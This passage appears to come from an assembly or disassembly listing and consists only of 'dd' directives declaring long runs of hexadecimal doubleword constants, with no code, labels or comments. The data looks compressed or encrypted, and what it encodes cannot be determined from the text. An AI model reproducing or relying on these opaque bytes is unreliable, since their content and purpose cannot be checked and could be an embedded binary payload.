0CB3B5A06h, 32486BB0h, 560F45CCh, 0D763B619h dd 0D6BD1FB7h, 0E86B3862h, 8A555AC0h, 51B927B3h, 3AA9D8Fh dd 0E356E133h, 16BDD076h, 39E359E3h, 4FFA2463h, 0F29B326Dh dd 0A63567D1h, 0EFBDD8CDh, 4AC5ED36h, 28E9A0E4h, 0AFBFCBFAh dd 30DBB1A2h, 0E4E897A3h, 63B406AAh, 0A397EB1Bh, 11E833E6h dd 6221401h, 70CA9CB8h, 5F9181D9h, 0D5BF5183h, 92FB03B2h dd 96F396B3h, 32ED18CBh, 8C24F08Ch, 0E68C5CEAh, 1AE48C32h dd 0B1ED2F9Ch, 624F5A36h, 86B79F14h, 4DC645C6h, 0D9C7D388h dd 6AE2CAE2h, 6DC4B6E2h, 0B713DB8Bh, 73943B1Fh, 955EC71h dd 9708E6B6h, 569CE247h, 859E318Eh, 46254695h, 82CC76F6h dd 239230E7h, 0FDEC3215h, 0CAA338F5h, 3021452h, 8A358A1Ch dd 0C566C51Ah, 6E68C36h, 60CF0EACh, 50CA0934h, 8272A465h dd 0C82C0D52h, 0C6EFEF45h, 6F466DF8h, 71E795BBh, 8AAE1466h dd 0A5504D51h, 6315AC63h, 0DAA35885h, 87DF9E82h, 3AAA3FBEh dd 0EAA0BAA3h, 1F634550h, 0BD5A0F1Ch, 12AEA310h, 0EFDA40FBh dd 3BB8C3EEh, 3A202C03h, 4D4A021Dh, 11865E63h, 642E072Fh dd 3C321669h, 0A3D9AAD8h, 403587D9h, 0C6813003h, 488C19E3h dd 0F3851B41h, 0B302C208h dd 0CC8D8936h, 65EAA0B9h, 56ED5ADAh, 0D8FDCE8Ch, 1E051FE7h dd 0E3CF68B4h, 2744278Ch, 5E6BA1C8h, 0A1AFE742h, 0DA290168h dd 2D1E4A20h, 2625A197h, 3C5795B0h, 0F26D234Eh, 0E77A0B9h dd 0BAD056F9h, 0BB76A0EDh, 0CAF6EF41h, 0CBF7C9F7h, 0D147E51Bh dd 32E41746h, 0A33C4EB4h, 0D70C0D74h, 8A892B4Fh, 1F7F6344h dd 13558EA3h, 22B1AB6Eh, 498EA330h, 79F17958h, 8EA711A9h dd 5F8E6654h, 0C31886D1h, 0CDE1AC04h, 4374B2C0h, 1F2D3016h dd 560778ABh, 0CD8635B8h, 0ED86AD86h, 0BF581DC6h, 0C5EE31EFh dd 0CE3F758Eh, 4F620E86h, 44271474h, 8CA78D27h, 676D81A7h dd 6B3D8BB0h, 0CEE70374h, 2F182F1Bh, 4C15D663h, 5350A621h dd 2448E838h, 68344928h, 71B00C49h, 1A89E802h, 9A0CC514h dd 32AA0492h, 1F253417h, 7418A554h, 5D2C01C5h, 0D9B2DA03h dd 1E360724h, 30E83505h, 0CA066347h, 0CE05BE07h, 0E914FC2Eh dd 0B4EFF024h, 6AD2C5A5h, 2ED7AC11h, 0AEFDAE3Bh, 2 dup(0AEFDAEFDh) dd 0E8FDAEFDh, 3500FFF7h, 0DD7BB6E4h, 0CB6A8638h, 2BEDE4CDh dd 0C71EB327h, 376D9D4Dh, 0B7A6F267h, 29E22F30h, 25FCFB69h dd 9EBD2B2h, 0A1408F6Dh, 6533436Ah, 64E96D14h, 9FEAF65Dh dd 0EDB781BDh, 0C65EB21h, 0D4F5B6F0h, 86EFE021h, 64D3ECF5h dd 0B6D9C925h, 0F74BE622h, 61F36DE8h, 470C886Dh, 9198EF46h dd 792E7D51h, 0EEA2CF3Eh, 0EDA2AEC7h, 1E111FEAh, 30FFE14Fh dd 0A15312F3h, 0F90DBCA8h, 0B984FBE4h, 6B9D7F7Bh, 2D499DABh dd 1D8F0E76h, 92A5ADB4h, 0E5A8A16Eh, 67F52A3Ch, 45B14CE1h dd 51E6DA43h, 9F0A41F8h, 1DA9C3C9h, 6CF069DCh, 0B98B4F25h dd 0C8687C27h, 40C87841h, 16EC8F84h, 4B5C784Eh, 0F0A58BE5h dd 0C3DD4D5Fh, 7FE9B5CFh, 0A41E0AA2h, 24CFD60Ah, 0DF59036Bh dd 76ADE19Eh, 23EEB313h, 1B5841EBh, 7F5E51B6h, 0B8357963h dd 3794FEC9h, 0D899885Fh, 8919B7DCh, 4E5751F4h, 0EA7A2A4h dd 79BB9442h, 189E1714h, 66BF056Ah, 3B231304h, 4BB5957Fh dd 0DF669B7Eh, 0C839AC55h, 7696DA1Eh, 0D0AE6C48h, 6D6037B6h dd 13C94358h, 3B502FC5h, 0BB6DCDB5h, 50760299h, 2AC0B8C0h dd 0B1F9D0B9h, 28F0232Fh, 0A1EC0E05h, 9ADB47BEh, 9BB8455Fh dd 0F635BFC2h, 0D9849ED0h, 7624FF1Bh, 0DC6DAC89h, 459D888Bh dd 48D97CB5h, 2DAE75C8h, 0C27C14F5h, 97F3E023h, 0AA7BE9EEh dd 0ACDB685Fh, 6BF5167h, 1559A539h, 4AE88690h, 0AFC847E5h dd 0F5E6C296h, 28B69E54h, 0EC34B71Ch, 0B18B70A5h, 0B6CE7D7Bh dd 0FD49BC35h, 0EFFEA52Fh, 56353D39h, 6AFF852Ch, 64FE9EE8h dd 39E035Bh, 0F0A7486Eh, 0E03D0D8Fh, 365E12Fh, 0D86ED39Eh dd 85E514Ah, 3510D28Ch, 0E0DFFA98h, 0B6EEBF1Bh, 6FF01089h dd 0F5FE42D8h, 83E3F3DDh, 4E2FF9D7h, 1AD8651Ah, 0A8A41C37h dd 0F1DE0C8Bh, 0C22FFB90h, 0E8CCF277h, 0A95E9E9Eh, 0F84752FEh dd 0E54650D5h, 45181719h, 5FD5FFCCh, 508DFE78h, 3E10D7D4h dd 0BC82F104h, 0EC7D53F9h, 0E9C6CD74h, 6D61199h, 54F9453Dh dd 0ADB3CCFh, 2E67C327h, 0EFAEBCF9h, 5686FDFAh, 0EF4E7FF2h dd 0B6D1EFABh, 0D06CE9DCh, 2DB14CE0h, 0F9A48143h, 3CA21D7h dd 0B6FC717Ah, 53A7E9B4h, 5AE790FFh, 97FD4F7Dh, 6A89043Bh dd 0BE9E7C29h, 9239F1C7h, 0E2691168h, 0ACC89B6Ch, 0D1A9F48Dh dd 28E9A923h, 0A97EADD5h, 7D4FEBEAh, 5397F542h, 7D643DBCh dd 6E951A61h, 3EB0C7CBh, 0DC86DF0Bh, 0A0B92448h, 0ED889313h dd 76F70B31h, 0E4286B0Dh, 7B605D43h, 6029E042h, 0E2AF193Eh dd 0E00509F3h, 0C84F6D09h, 0C1EE19D9h, 1EC34862h, 1D01E7CAh dd 6D7D960Dh, 0CAB95E73h, 0D9324CCCh, 2A5B5C15h, 0DC6A0DACh dd 0D72DB478h, 2AFF16F1h, 3E460A9Bh, 96B25873h, 738A18B6h dd 0C4D27C9Ah, 9C50AF38h, 63A3E4CBh, 0A4DAE73Eh, 2284893Fh dd 875FEDAAh, 77FD94F9h, 14361988h, 6DA2C6E2h, 0FDAC9888h dd 99B46447h, 0E7D1047Ch, 3D3B2FBEh, 61D0F6E4h, 87FF30EFh dd 0DB6E6AC7h, 0B6E6B1E3h, 0C36B013Dh, 8AFD4A29h, 0C17D93B6h dd 58AD25F6h, 34F3B9CEh, 283B070Ch, 0B7AD69ECh, 7BDEB0CDh dd 5F0F4A5Eh, 6AF9F91Ch, 37C2E167h, 812802E8h, 0DE6425DAh dd 0A97C3111h, 6283BCF0h, 995C00FCh, 0EF0477h, 58543560h dd 5550988Ah, 56D6FF0Ah, 81AF6988h, 0AA9F58E5h, 0BE4E7A44h dd 54BE8120h, 0D7CF6148h, 4AE5C250h, 5156F62Ch, 0A0B3B7D6h dd 0EF9077E7h, 0C2FE6857h, 70D5F21Ah, 7381BA5Fh, 0BE1672DFh dd 8DEF91F7h, 646D9B3Ch, 68C78EBFh, 142118A0h, 0FDF249E3h dd 0D8C59E35h, 981FF64Bh, 0FF3EAFDDh, 779A88C0h, 452A79E4h dd 0BC942CDBh, 0E5950FA9h, 0BFCB0A02h, 94A786DFh, 0DB37D93Ah dd 0D471C33Eh, 0DBCA74F3h, 0D5C4EA36h, 0B695F64Eh, 79EFC9D7h dd 8EFF2DB2h, 0FB5F6194h, 0CDF9CFFDh, 0DC24151Dh, 28035807h dd 3006DC06h, 4601C603h, 71620A8Ch, 12088EF6h, 0DBC015Eh dd 0B80B38h, 4821B908h, 2500618h, 5CC036Eh, 3560214h, 0C3C01EEh dd 0FD80BD8h, 10F80A38h, 55C06E0h, 9074584h, 80188051h dd 0C80A9016h, 0BE40EC06h, 92D6606Bh, 3800D01Dh, 3A037005h dd 9123A100h, 400B700Eh, 6402480Fh, 1F7C18Fh, 602C4046h dd 70042018h, 0B0907461h, 255F909h, 173000Ah, 29FE02Bh dd 84280B53h, 7E7900BDh, 80CD7882h, 807D8083h, 1D826E37h dd 30F007B0h, 35601360h, 1B202960h, 3B00530h, 0AA00B6F1h dd 0DB80F900h, 14407200h, 0CFC22AE0h, 911B9C51h, 0E010E01Fh dd 0F005A024h, 4047E015h, 235FA408h, 35003101h, 10B00520h dd 5B002B0h, 17B01DB0h, 14700070h, 2CE036F0h, 186032E0h dd 28018EF2h, 0C4DC9F01h, 2ECF07FBh, 0A290E154h, 558F670Ah dd 82AF8DE0h, 9536156Fh, 85573124h, 0DADA0703h, 6EF85508h dd 602E6021h, 60052026h, 8C024C04h, 33E791BEh, 0E9ED1Fh dd 0EC026Ch, 2FFFA104h, 4E0374C2h, 0F6028E03h, 1B71E48Fh dd 701A7611h, 0F600E296h, 1D22B889h, 0C70DD411h, 4CEE135Ch dd 0F0429321h, 0FA0B070h, 9906209h, 25B79AFBh, 2F7A0CD2h dd 0CC126610h, 0C0A730CDh, 5B330ADCh, 618A13C8h, 8A7B0EDFh dd 0B942A50h, 30BB058Bh, 0AE1CB013h, 72F13015h, 0C1A6C229h dd 82BE815h, 767E5947h, 0E0BB7A4h, 0FC0CEFD1h, 0FC328412h dd 0ADF409A5h, 651D2144h, 914BD8F0h, 97FF0CBEh, 0D2097620h dd 0C797E0C8h, 0DF612ED2h, 82AD822Eh, 3B0293E5h, 0AC259BE5h dd 779E0A42h, 47634B1Ah, 5AA402BCh, 61537CCCh, 85F2172Bh dd 0F1E4CC95h, 0B9769032h, 1214CF68h, 26660C84h, 50B35BE3h dd 39E43487h, 0D9B0C5Bh, 864842C8h, 0CE452EE8h, 3CBC808Eh dd 9E474FDFh, 3CEE08Bh, 54FFC72Ch, 1BE2073Ah, 6C188749h dd 0F646CC65h, 513A8472h, 84984122h, 3E629574h, 48D58493h dd 0F3DA2653h, 0A24586D0h, 0E5445A9Dh, 0FAEB53B5h, 0D9F897FCh dd 1E75CCEDh, 801DBEDh, 5522477Dh, 73015203h, 35806501h dd 36C01A80h, 41C01EC0h, 8E6098C0h, 48DC8D1Fh, 0FE161BC9h dd 9FAFB3CEh, 2AC9BC1Ah, 0FE3F4E34h, 49CDC979h, 6E275413h dd 7F783539h, 481FDC35h, 0B05F57AEh, 0F6DB9FC9h, 0EF17E0E6h dd 5E119E16h, 87C0637Ah, 85BA043Fh, 0FC80A090h, 7EE23FE8h dd 904E3A5Ch, 0BE1006AEh, 0F1CD3B9Dh, 8E69C2EDh, 39A71D6Fh dd 0EBBC85BEh, 77F0B7C3h, 0A8B7C77Bh, 37C67B77h, 0F1DDBBF5h dd 0FFDDFD2Dh dd 0DA8DF1B3h, 6F1EFCD3h, 78F7A4CFh, 0C7BFA67Bh, 3DEB33DBh dd 7DCE7B5Fh, 2CF6F7AFh, 0F6E7AF7Ch, 7BAF79ACh, 0EF7F6E7Bh dd 0BCF6ECFFh, 0AF8B984Bh, 0C2D6138Dh, 459F1FF4h, 0E2B2CAF6h dd 24FB72D2h, 58F3257Bh, 730AC42Dh, 5130B904h, 84F30830h dd 9F4902F1h, 797E64AFh, 528D5BF0h, 0F0EE144Dh, 9DC20886h dd 0D08D1B08h, 1E7FF8F9h, 0FF0D1FF2h, 95BBF035h, 0FCCADDF9h dd 96E3156Eh, 0B207FC0h, 9C4281Dh, 0FEE5F061h, 0A4DF7E85h dd 0AFB014AFh, 0F2D20A4h, 13280FCFh, 43DC5BF7h, 11642899h dd 96A197F3h, 0BCDC6F0Eh, 0F303716Eh, 0D3DB5C22h, 5F6D71C2h dd 86B5C70Bh, 8D6B8E16h, 6B5C3E2Dh, 0D71DE96Eh, 8CF4B74Eh dd 0BA5BE76Bh, 7E85AE3h, 0DAE367FFh, 2F2257C2h, 737D2E34h dd 40B781F0h, 317C5F3Bh, 9A958737h, 0C4AD3ED7h, 0B12F2F61h dd 1CC9643Bh, 6417CAEFh, 0D857CBDAh, 141E19CBh, 0B6DCC7A6h dd 5B67DEEBh, 59E768B6h, 3D76BEC3h, 0CAF367B7h, 5FE10D1Bh dd 9BF8FE9Eh, 0CCB3F30Fh, 0B708B534h, 4561049Ah, 52ACB95Eh dd 0D1419166h, 1617B339h, 0C066563Bh, 7969395Dh, 6171639Eh dd 0B0F264ECh, 1FCDCEC4h, 0D172763Fh, 1E189358h, 8A39CDC7h dd 3214E379h, 94A14CA3h, 0EF4C49Bh, 0E480E2C7h, 66A5FB70h dd 0F0CC71A1h, 4A4A45A4h, 0F024A4B7h, 0A5FB70B3h, 0CC71A163h dd 6C874BF0h, 32601496h, 0F90998F5h, 585737F9h, 5DA01660h dd 0A7B30744h, 0F2385495h, 0FDC98B8Ah, 59C5DA5Bh, 264A5C5Eh dd 0D63B11E5h, 1E51E424h, 0B09EF979h, 0AC4776A9h, 3D218BC7h dd 6FF11473h, 7A238D74h, 729E78B3h, 0ECBBE67Ah, 25A4162h dd 98721448h, 0CDC3B51Fh, 3719D415h, 7CDF5057h, 8BC46E36h dd 737EEF3Fh, 0A132FDF0h, 5384C16Ah, 8563BF9h, 4DB53D2h dd 0A36614A9h, 39969043h, 0D00A79B9h, 0D80F380Ah, 7D8726F2h dd 2FD2088Fh, 1A3E4A76h, 7D5E97EFh, 9585486h, 0FFC882ECh dd 2098F657h, 0E7947F8Dh, 9051BF1Dh, 0A416AD56h, 3542003Bh dd 7C8619F2h, 8F9BE307h, 4A4E5E63h, 0C9896C16h, 1211FCC2h dd 8A7A07A9h, 0CF74F27Bh, 0FBF9A9DFh, 0FFDB7FC3h, 0F42908C2h dd 0A8233F85h, 0F1DBF647h, 34E520B8h, 0A0761049h, 0B770AD0Ch dd 0FB8650BAh, 0C05AAF51h, 0FB6A4116h, 650EA01Dh, 7B084DAh dd 0F5087F61h, 8076187Eh, 456C750Dh, 1CB51DBAh, 4029CD28h dd 4D2FAD6Bh, 1DBF215h, 0E1897468h, 0FDEDA930h, 0DA9FF0EBh dd 0E736D3D2h, 66DAF9B7h, 37C1CE1h, 5E51F0B0h, 0EFCA1207h dd 0F13C5DA9h, 0F3597486h, 3587A48h, 0EF3FBBF9h, 0F28BF7D2h dd 0F38B65F2h, 0A3021C2Ah, 0AF7886Bh, 0F91876CAh, 4FD80403h dd 8CC1B4C1h, 15407F27h, 0FF08D6C0h, 48070863h, 5089B045h dd 9001D805h, 0DF3F0975h, 484DF48Ch, 2EC29007h, 882FF727h dd 14E1CCDBh, 45201F60h, 99DE5812h, 41536AA0h, 0CDBE88EBh dd 65DE914h, 0D63E5BE8h, 175744B1h, 940F37C0h, 0C33FABAEh dd 9571B43Fh, 8A7D6D8h, 60B7C5DEh, 23B70AA6h, 0CB48D9D7h dd 637D2929h, 0F727F21Ah, 0F052D874h, 268CA9BDh, 0E125E27Bh dd 4CCC69FFh, 8084BC40h, 99CC1B30h, 0FF1D3348h, 1A6C2067h dd 25EE4972h, 0BF462CEEh, 0CCD9B267h, 0A91D3FDFh, 1D371113h dd 1123CA76h, 29C86961h, 0AEBC4BB9h, 17E4F5E5h, 391D2718h dd 4C90B264h, 0F1D33ED6h, 49C62597h, 0EDCCBD64h, 0E3366C49h dd 7D9F9B76h, 8BA66896h, 374F09F3h, 0D33ECFCBh, 0ADE4F63Bh dd 0C5564C6Ch, 55D744C0h, 0FDA4C145h, 306614A7h, 0D26141EDh dd 0A7F2F43Eh, 45ED2912h, 0F5C4C1CFh, 0A7F35576h, 4FEEDD3Ch dd 9F35BA79h, 9FF974F2h, 4FFA74F2h, 3168BA79h, 784F85DDh dd 0D49404BAh, 8CC3CE26h, 881A7C16h, 0FE863BEFh, 0FDAF7D51h dd 6E07E0D4h, 36CF6413h, 0EB68CDEDh, 57A414h, 0AA448291h dd 5E01A403h, 84056C03h, 0EDD22448h, 0FC019F30h, 3D9D2005h dd 0FDAC40F9h, 0F0FC1ADh, 0A3CB8416h, 0B56C0E06h, 0CD4A1BA4h dd 70DE0F6Fh, 0AB1FF617h, 43D3FF56h, 61060F5Fh, 5A71076Ch dd 0C1E1EE44h, 0EC155350h, 1F799373h, 0A043BBDCh, 0D0343410h dd 0E9B859FFh, 1A7F4609h, 5920DB46h, 0F7AF079Fh, 0F89E69A7h dd 0D303FD79h, 0E8161A7Fh, 0E8111A9Eh, 0B9F60FD6h, 48910C27h dd 0C30243E5h, 74088E0Fh, 25DD167Fh, 0F740C8FDh, 86DC5D37h dd 0F56E8151h, 58EE818Dh, 0EEBBA059h, 5FA6EE26h, 0FF1EEC2Eh dd 0E3029B96h, 43831C0Dh, 4457B443h, 61A0180Ch, 0ACB2559Fh dd 896574A4h, 0D8B95ECCh, 2A28E65Eh, 835C212Dh, 62F1D986h dd 74DBA538h, 38FA448Bh, 7168A320h, 69456979h, 5D964381h dd 2BCCE154h, 1F8E2596h, 2CE99B2Fh, 0B72D1471h, 168BD2CBh dd 0AF95E795h, 0E5596C62h, 0F3CA4BA5h, 25E91B96h, 60830ECh dd 49349A4Ch, 4F719730h, 221E4959h, 0AD57F93Bh, 8B65EB98h dd 0F605059Ch, 16295972h, 12CEE53Eh, 855E6159h, 5EDD916Ch dd 3BB7CB22h, 0F61D8BECh, 0C2CAD97Ch, 0CC85C5A2h, 0A229717Fh dd 0A39F9194h, 73132ED0h, 0AC22B5BCh, 50A42D88h, 0ED5CC20h dd 2C9924FBh, 0AA0C17CBh, 0EA52525Bh, 15E45590h, 21578BD8h dd 0C4B7140Bh, 0ED854769h, 61549D8Bh, 0BE495E59h, 0C2B3B96Ch dd 0E1228611h, 0B5E432D3h, 1904A8BCh, 130A4FE5h, 0CE9604A6h dd 3C9BA853h, 0AB209D6Dh, 45E53E40h, 0C432558Eh, 2CC4528h dd 65F0ED4Fh, 0DFFD8567h, 97AC2855h, 7B7EC90Ah, 4DFEC285h dd 553D6485h, 9F4F3F08h, 905E4B7Bh, 2CEC5457h, 8ED7FBB7h dd 5BB5FDFAh, 6E37D225h, 674FE1F5h, 58C6682Ch, 5D87BC3Fh dd 0BF10363Eh, 7771C7B2h, 0C79BCC34h, 33F9FC71h, 2E3FDCCh dd 0C09B8DE3h, 25E305DDh, 0F3C6E7D2h, 24931178h, 526EBD2h dd 0E5497BC6h, 0B013E5C3h, 0A45714A7h, 2EDDB94h, 23BB4CCCh dd 0C9D8AF3Bh, 0ECFD53ECh, 0A5C5C509h, 32FE298Bh, 0AB175D5Ah dd 0F9F29394h, 0DF3FCEBAh, 6912B587h, 72796962h, 0E8039165h dd 815ED8BAh, 0AF2C46Dh, 0CEDD87F4h, 0CDE27BA2h, 4F2C0E4Dh dd 20BB9FA7h, 69956C0Dh, 0C13F7CBCh, 99004BCh, 9FB47F81h dd 0DFB27FE3h, 0C98A97F0h, 0D5FDDFFCh, 1817F0F4h, 0F7C48363h dd 0FE7F5BF7h, 0F896EFE9h, 0E37E82FEh, 8D2D279Fh, 70504977h dd 0FDBE9F48h, 0D87FB42h, 28381F08h, 0C8783A42h, 87439175h dd 7EBA8F0Dh, 23D10DC4h, 0BB28DD47h, 9898F469h, 35B96F9Bh dd 0F1B8EC76h, 9A4E2613h, 5528572Ch, 0A7568D6Ah, 664D1837h dd 3E2E358Bh, 52624A61h, 0D4D4CA72h, 4F6EDBB4h, 0DD3698CFh dd 66666336h, 0CE549E16h, 9CC77D9Dh, 2FE6F3B9h, 68B79858h dd 60BDBE71h, 0D2D16149h, 4BCBC565h, 2CEECB4Ah, 573870AFh dd 0B55CACACh, 6B35AEFAh, 0D217ADD7h, 0A5641713h, 39932465h dd 0F246566Dh, 0C34C34CCh, 9F4C67B0h, 30959C96h, 13D93673h dd 0D8DB66B3h, 0E9F64F84h, 5909E9E9h, 909ECCC9h, 0B082E9Eh dd 99C04D26h, 0F82ECC00h, 73032C72h, 810B4C0Fh, 0F8FFE7C9h dd 0FDDD1F2Ch, 1DD7F9BFh, 57FF6397h, 9FDFBE63h, 5FE37E4h dd 5FDFBE60h, 0F3FC6FD0h, 186BFCC7h, 0ED377FF0h, 0FBFD1FFBh dd 0BFA7F54Fh, 0BBF9FC48h, 0FF24C3FCh, 0FC6BAFD5h, 4FF2FFA0h dd 91F5742Ah, 0E5E9FC48h, 0F381B9E8h, 8185CEE6h, 81795DEEh dd 0A07E496Eh, 0EE2E9DFBh, 0F5977B36h, 5B9F12FDh, 6A912251h dd 276E7C4Ah, 0E500ABECh, 2F94D2E2h, 0C5F6B0CCh, 7D2B27EAh dd 0F726667Ah, 9990A721h dd 9FAA6D36h, 9E9A4853h, 0CD369091h, 2B5333E7h, 86061A57h dd 0AC0AC44Dh, 579642A8h, 0B45C5656h, 0B2AD8F38h, 0AD1865C4h dd 45159D0Ah, 12D84B25h, 0A3B16F2Eh, 865D8568h, 0C50562D5h dd 7C9062C1h, 49E70B7Dh, 4B3C8698h, 0B15B30E6h, 440B0F3Dh dd 1D21C15Ah, 0FBEF4Fh, 0CE158196h, 72D2B2B2h, 0ECB1D884h dd 961D402Bh, 0C5827D63h, 59CBAC21h, 0D0AC499Ch, 953D4654h dd 0B79259D1h, 0BDEB18A8h, 7229C452h, 1715E514h, 0D3FAC6ADh dd 0EBC6579Eh, 1474F146h, 2F6DCA8Fh, 292E7529h, 0E5945594h dd 0BCB3B62Dh, 16574B8Bh, 0F96425F9h, 7B69D2FBh, 0C8E1574Dh dd 34E937FFh, 168CAE94h, 0CA8A2B97h, 2869B41Dh, 162C9670h dd 0D8B8B01Bh, 0AF757E5Bh, 2D282FF9h, 369563B1h, 1857EB19h dd 0D1550732h, 10C2BF9Bh, 32D2EF58h, 0A0D1B42Ch, 0B4C5A515h dd 0B4515D9Ch, 0D8AE2FD8h, 0E7E53846h, 196A70EBh, 38A7BEFFh dd 96712EBAh, 451D8B3Bh, 3B72C28Eh, 0ACB06FCEh, 7E35D65Ch dd 2622EDEFh, 0E473CFCAh, 0B0C0FA21h, 1B44086Eh, 9DFB7283h dd 67857B4Eh, 4BD9E003h, 35DE22A1h, 2E750CBBh, 4A3D35A2h dd 0AEBB64E5h, 26AB7995h, 1DC4CFFDh, 3AD7A1B9h, 6BD04BD8h dd 0EDCB25A5h, 0A6C40E25h, 0E35EFAB8h, 712F95E6h, 6F0AC452h dd 5B8A4ABEh, 0CF8A5C50h, 95947861h, 92C35762h, 9EDF27C2h dd 58A1B62Fh, 0D66A64E5h, 0FCC2C29Bh, 0D4588EF7h, 9CF36B8Bh dd 0D2FC92A2h, 560E9995h, 559FF270h, 0BE9F2F61h, 28FA2968h dd 4A357CDh, 0C71D269Eh, 1C6C096Ch, 9CCB4ADAh, 0BB8FCC65h dd 6423679h, 625BCC72h, 995A529Fh, 56876020h, 0F043BFEEh dd 787E97D0h, 3BCD382Eh, 4DB11288h, 6716D342h, 26EA19DAh dd 9667E494h, 96249515h, 0EB7EF0A2h, 0E691C7C4h, 747CAB4Fh dd 12D593E8h, 0D480E7E9h, 0E5F2E354h, 51760AC6h, 4DF8F91h dd 327E0659h, 4FC2ACB2h, 9C98C8C8h, 15793F9Fh, 28E33BDFh dd 64900128h, 0BE5F6C5Fh, 4C05DF88h, 63D3EEC3h, 51D8BE9Fh dd 0EC4CD64Ah, 99E3DD6h, 3A4E25CEh, 59CDBC59h, 0DB8F2CCh dd 0A6F6CBF8h, 5445E565h, 0F2BC8CADh, 687485C5h, 0EE545F63h dd 0B7E8F714h, 2B3095E5h, 53F943BEh, 0E52794BEh, 1E50F945h dd 0F28AB748h, 9694F4A0h, 799908D2h, 7E79670Eh, 0A523CB1Eh dd 0B2D988BCh, 15E59D0Ah, 3D8E5FA2h, 3A2EC4BFh, 96DC9CB2h dd 3CC25A51h, 99A29D32h, 94B4A0E7h, 3C53E28Eh, 42E1438Ah dd 0E4A30E18h, 653B396Ah, 163BC58Fh, 413699C9h, 8D7A9A26h dd 42B5B59Ch, 399251A9h, 6BA5C780h, 710A2116h, 9A6D252h dd 1AECD152h, 65C79C37h, 8A50C2FBh, 22D81333h, 46E35D9Ah dd 6405B8F0h, 781970BFh, 9C2E9990h, 71AECD13h, 0AB8B247h dd 1670B776h, 93B33271h, 0E6643385h, 3B8B7724h, 0B255C591h dd 2711A7B8h, 5E8CD679h, 38616EBh, 0B79EB969h, 9B8A49C3h dd 851C2199h, 0DB9C9199h, 0AE3C6EBDh, 8A6DD5Fh, 4A771107h dd 0F6F2F772h, 7C904883h, 0F6475CB1h, 949388FDh, 85EC209Ch dd 0AB2B3099h, 3CFEDC5Bh, 0BBEC81AEh, 12D30CA9h, 6E2C6D84h dd 0F2F2F766h, 55BCACB8h, 7AD3BCACh, 8F385BADh, 44DE57EBh dd 126912A1h, 5BF7BA13h, 42934618h, 530EDFEEh, 53986285h dd 0E7BA32B3h, 0E5FAE3CBh, 0A42C299Bh, 0F7BB537Ch, 42F41845h dd 0F9FED428h, 14590A26h, 0F75A6677h, 0BF5C797Ch, 5485D37Ch dd 0D59F4DC4h, 41E82FBDh, 0BF404521h, 30F10825h, 0ADD43D6Dh dd 5343DE3Fh, 0A66FB404h, 47798720h, 56A08A42h, 0E5F302E9h dd 4DF2FD71h, 0FFA9A212h, 876F77A6h, 654F1030h, 0B659B40h dd 0C9D99852h, 342FB43Dh, 0DA03293Eh, 4210BA61h, 3BBD30EDh dd 61E184EEh, 0DD406569h, 971D0A66h, 99E4B750h, 404EE3DDh dd 66F280DCh, 3711E70Ah, 0EED4E661h, 554E171h, 0AF053794h dd 9C4CC235h, 1AAE3DD5h, 9BCA0371h, 0A25EB42Eh, 0BCA1EE3Eh dd 280DC47Ah, 5A16CEFh, 1CE16771h, 305C5BA0h, 0CA02A94Ch dd 9270877Bh, 5C43D6EAh, 0DE795E5Bh, 77A72712h, 0CC9DCAB3h dd 5458589Ah, 7937444Ch, 0BF2F33B1h, 28485CB4h, 83A7625Fh dd 66D0CA39h, 7BB2772Fh, 0D2E2D29Fh, 0D88A8BE5h, 25EDB237h dd 7B4ED5F6h, 4A923931h, 7A63D531h, 0B4CD9129h, 61173997h dd 2C8D0712h, 650A3A75h, 0F0E50509h, 0C1C4DFE7h, 0CEE96C29h dd 52FD904Ah, 0CA12F967h, 0B283C70Fh, 0E6462C99h, 6AC722CAh dd 0CE31797Bh, 4EA984FEh, 0E7961BACh, 9113BCB1h, 0CBC29F2Eh dd 2A8A4AF2h, 6513650Ah, 38F9A519h, 62659317h, 8EE6C071h dd 0E639470Ah, 5C9B8A38h, 7118A4B2h, 0A67C1FB8h, 92020D62h dd 17B14C2Fh, 2E72292Fh, 5959BCC7h, 9BD4B8B4h, 0AF253097h dd 0FA17AB02h, 5EDF3DB6h, 4FF24DC2h, 0E5676C5Bh, 0EAA4D10h dd 0C95E7DE8h, 0F6993B62h, 528C9A12h, 1C584A8Ah, 0E42F2C98h dd 0CF674459h, 0E16672BEh, 6688B67Eh, 78792C5Bh, 47C3C361h dd 6A93F784h, 2743C243h, 84870486h, 23A1A54Bh, 417E3B43h dd 5D8C627Fh, 0CA753980h, 2FDCE14Ch, 84D30B84h, 1DE64B3h dd 9FFA2C5Ah, 30A3CD14h, 927A5A7h, 6F53300Dh, 25EC2A9Fh dd 0C2E91DF7h, 2EDCD11Eh, 9A22DFA6h, 0E10BF35h, 7E6B09A4h dd 0BB7EDA21h, 1F0BFC50h, 0DE610B9Fh, 60A67D3Eh, 0A249DD13h dd 2B330E5Bh, 0F510BA6Bh, 4C9EFF2Bh, 2C54AEFCh, 0DCAFE467h dd 616D6274h, 0CEC89FCFh, 20616977h, 0A56197BAh, 1CBA5F94h dd 79B8CD77h, 2F9AECC6h, 0C1AB05BBh, 0E84B7945h, 7082BB42h dd 0AC32E262h, 7B44F2E3h, 983F179Eh, 2617E65Bh, 2E2B0BF3h dd 0CB7915Dh, 7B4E74F7h, 6274A3B9h, 59627539h, 85C5C4F9h dd 97613D1Ch, 1025ED79h, 0AFB12BC3h, 9EDAB89Ch, 0B0A7FAC7h dd 3E0964B4h, 677C4259h, 0CCC5A585h, 0E23E096Fh, 9AC22D90h dd 1D99F788h, 8BFE4378h, 3AD9DB57h, 279993C3h, 3DFC4E06h dd 0A0A21145h, 0DA793B22h, 3444212Ch, 3CDC0BCFh, 0E104CCCBh dd 0E969CC0Ch, 0CC538453h, 849C289Dh, 0AA6A4779h, 34CCCCD0h dd 0A1053FDCh, 0BD85325Fh, 0D136FFA2h, 9786235Dh, 0B0967731h dd 5D27CC50h, 0CC5E3FCCh, 74CCCE5Fh, 5FCC4621h, 9029CCCAh dd 4D33253Ah, 7449D0B8h, 0CDC136F8h, 53843BCCh, 0EF2E9C9Dh dd 0B0966667h, 85539987h, 259CCCEDh, 0AACD116Ch, 96EF3E4Eh dd 6CF9F275h, 279F276Eh, 3CF93BD2h, 73E4EE64h, 13332C6Dh dd 0A6664885h, 0CCCC210Bh, 955C2E14h, 859FEFB0h, 29959699h dd 69CC0B4h, 9A2A3A7Ch, 4D3998FBh, 96D306D8h, 0B9A84535h dd 83AA69CAh, 0FC845399h, 0DA169CABh, 6E1A72AEh, 34E7CABEh dd 573E55D9h, 0BA72AF48h, 992BF1DAh, 0C600D0C9h, 0CCD3D2E7h dd 0FE8E154Ch, 0FB18D7CAh, 0F773E57Fh, 9A6660Eh, 73E57E5Bh dd 